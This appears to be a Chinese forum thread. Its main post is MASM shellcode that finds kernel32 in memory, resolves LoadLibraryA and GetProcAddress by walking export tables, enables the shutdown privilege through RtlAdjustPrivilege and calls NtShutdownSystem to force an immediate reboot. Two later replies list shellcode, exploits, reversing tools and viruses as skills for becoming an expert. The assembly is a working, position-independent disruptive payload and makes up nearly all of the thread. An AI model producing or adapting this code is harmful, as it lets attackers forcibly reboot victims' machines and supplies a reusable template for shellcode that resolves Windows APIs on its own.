能力值:
( LV2,RANK:10 )
3 楼
.386
.model flat,stdcall
option casemap:none
include windows.inc
.code
start:
;############################################################得到kernel32模块基址
mov esi,[esp] ;
and esi,0ffff0000h ;
.while TRUE ;
.if word ptr [esi]==IMAGE_DOS_SIGNATURE ;
add esi,[esi+3ch] ;
.if word ptr [esi]==IMAGE_NT_SIGNATURE ;
.break ;
.endif ;
.endif ;
sub esi,10000h ;
.break .if esi<07000000h ;
.endw ;7c800000 ;
;获取Kernel32.dll的基地址+0F0h;此时esi的指向的是NT_SIGNATURE ;
;########################################################得到kernel32模块基址 ; ;########################################得到导出函数名字符串地址表的(数组起始RVA)
assume esi:ptr IMAGE_NT_HEADERS ;
mov eax,[esi].OptionalHeader.DataDirectory.VirtualAddress ;
add eax,esi ;
sub eax,0F0h ;得到导出表的地址 ;
assume eax:ptr IMAGE_EXPORT_DIRECTORY ;
push eax ;得到导出表的地址 ;
mov eax,[eax].AddressOfNames ;
mov edx,eax ;
add edx,esi ;
sub edx,0F0h ;导出函数名字符串地址表的(数组起始RVA) ;
jmp a0 ;
;########################################得到导出函数名字符串地址表的(数组起始RVA) ;##########################################################得到LoadLibraryA的地址
LoadLibrary db "LoadLibraryA",0 ;
a0:call @F ;
@@: ;
pop ebx ;
sub ebx,offset @B ;
add ebx,offset LoadLibrary ;
mov edi,ebx ;
mov ebx,edi ;
mov ecx,-1 ;表示最从大开始扫描 ;
xor al,al ;
cld ;
repnz scasb ;
mov ecx,edi ;
sub ecx,ebx ;得到字符串的长度包括0 ;
sub edi,ecx ;要比较的字符串基地址 ;
push edx ;
xor eax,eax ;
.repeat ;
push esi ;
mov esi,[edx] ;
pop ebx ;
push ebx ;
add esi,ebx ;
sub esi,0F0h ;
assume esi:ptr IMAGE_EXPORT_DIRECTORY ;
push edi ;
push ecx ;
repz cmpsb ;
.if zero? ;
pop ecx ;
pop edi ;
pop esi ;
jmp @F ;
.endif ;
pop ecx ;
pop edi ;
pop esi ;
add edx,4 ;
inc eax ;
.until eax>=[esi].NumberOfNames ;
@@: ;
pop ebx ;导出函数名字符串地址表的(数组起始RVA) ;
pop ecx ;得到导出表的地址 ;
push ecx ;得到导出表的地址 ;
push ebx ;导出函数名字符串地址表的(数组起始RVA) ;
assume ecx:ptr IMAGE_EXPORT_DIRECTORY ;
sub edx, esi ;
add edx,0F0h ;
sub edx,[ecx].AddressOfNames ;
shr edx,1 ;进行除以2 ;
add edx,[ecx].AddressOfNameOrdinals ;
add edx,esi ;
sub edx,0F0h ;
movzx eax,word ptr [edx] ;得到序号索引 ;
shl eax,2 ;进行剩以2得到 ;
add eax,[ecx].AddressOfFunctions ;
add eax,esi ;
sub eax,0F0h ;
mov eax,dword ptr [eax] ;
add eax,esi ;
sub eax,0F0h ;得到LoadLibraryA的地址,为7c801D7B ;
jmp a1 ;
;##########################################################得到LoadLibraryA的地址 ;##########################################################装入ntdll.dll##3#### ;
ntdll db "ntdll.dll",0 ;
a1:call @F ;
@@: ;
pop ebx ;
sub ebx,offset @B ;
add ebx,offset ntdll ;
mov edi,ebx ;
push edi ;
call eax ;得到ntdll.dll的句柄7c9200000 ;
pop edx ;导出函数名字符串地址表的(数组起始RVA) ;
push eax ;
jmp a2 ;
;##########################################################装入ntdll.dll####### ; ;##########################################################得到GetProcAddress的地址
GetProcAddress db "GetProcAddress",0 ;
a2:call @F ;
@@: ;
pop ebx ;
sub ebx,offset @B ;
add ebx,offset GetProcAddress ;
mov edi,ebx ;
mov ebx,edi ;
mov ecx,-1 ;表示最从大开始扫描 ;
xor al,al ;
cld ;
repnz scasb ;
mov ecx,edi ;
sub ecx,ebx ;得到字符串的长度包括0 ;
sub edi,ecx ;要比较的字符串基地址 ;
xor eax,eax ;
.repeat ;
push esi ;
mov esi,[edx] ;
pop ebx ;
push ebx ;
add esi,ebx ;
sub esi,0F0h ;
push edi ;
push ecx ;
repz cmpsb ;
.if zero? ;
pop ecx ;
pop edi ;
pop esi ;
jmp @F ;
.endif ;
pop ecx ;
pop edi ;
pop esi ;
add edx,4 ;
inc eax ;
.until eax>=[esi].NumberOfNames ;
@@: ;
pop ebx ;得到ntdll.dll的句柄 ;
pop ecx ;得到导出表的地址 ;
push ebx ;得到ntdll.dll的句柄 ;
assume ecx:ptr IMAGE_EXPORT_DIRECTORY ;
sub edx, esi ;
add edx,0F0h ;
sub edx,[ecx].AddressOfNames ;
shr edx,1 ;进行除以2 ;
add edx,[ecx].AddressOfNameOrdinals ;
add edx,esi ;
sub edx,0F0h ;
movzx eax,word ptr [edx] ;得到序号索引 ;
shl eax,2 ;
add eax,[ecx].AddressOfFunctions ;
add eax,esi ;
sub eax,0F0h ;
mov eax,dword ptr [eax] ;
add eax,esi ;
sub eax,0F0h ;得到GetProcAddress的地址7c80ae30 ;
push eax ;
jmp a3 ;
;##########################################################得到GetProcAddress的地址 ;##########################################################用GetProcAddress获取ntdll.dll模块内RtlAdjustPrivilege函数地址
RtlAdjustPrivilege db "RtlAdjustPrivilege",0 ;
a3:call @F ;
@@: ;
pop ebx ;
sub ebx,offset @B ;
add ebx,offset RtlAdjustPrivilege ;
mov edi,ebx ;
;
pop eax ;
pop ebx ;
push ebx ;
push eax ;
;
;
push edi ;
push ebx ;ntdll.dll的模块基地址 ;
call eax ;GetProcAddress的地址 ;
;##########################################################用GetProcAddress获取ntdll.dll模块内RtlAdjustPrivilege函数地址 push esp;得到RtlAdjustPrivilege的地址7C949A4D
push 0
push 1
push 13h
call eax
jmp a4; ;##########################################################用GetProcAddress获取ntdll.dll模块内NtShutdownSystem函数地址
NtShutdownSystem db "NtShutdownSystem",0 ;
a4:call @F ;
@@: ;
pop ebx ;
sub ebx,offset @B ;
add ebx,offset NtShutdownSystem ;
mov edi,ebx ;
pop eax; ;
add eax,30h ;
pop ebx ;
push ebx ;
push eax ;
;
;
push edi ;
push ebx;ntdll.dll的模块地址 ;
call eax;得到NtShutdownSystem的地址 ;
;##########################################################用GetProcAddress获取ntdll.dll模块内NtShutdownSystem函数地址 push 1;0为关机,1为重启
call eax
end start
能力值:
( LV9,RANK:140 )
8 楼
如何成为一个高手
1.底层: asm,fasm,masn
2.pe: 必须的
3.shellcode,exp,reverse,OD,IDA,壳,virus
4.原创,思想,与众不同
5.激情,动力
能力值:
( LV2,RANK:10 )
11 楼
如何成为一个高手
1.底层: asm,fasm,masn
2.pe: 必须的
3.shellcode,exp,reverse,OD,IDA,壳,virus
4.原创,思想,与众不同
5.激情,动力
6.勤奋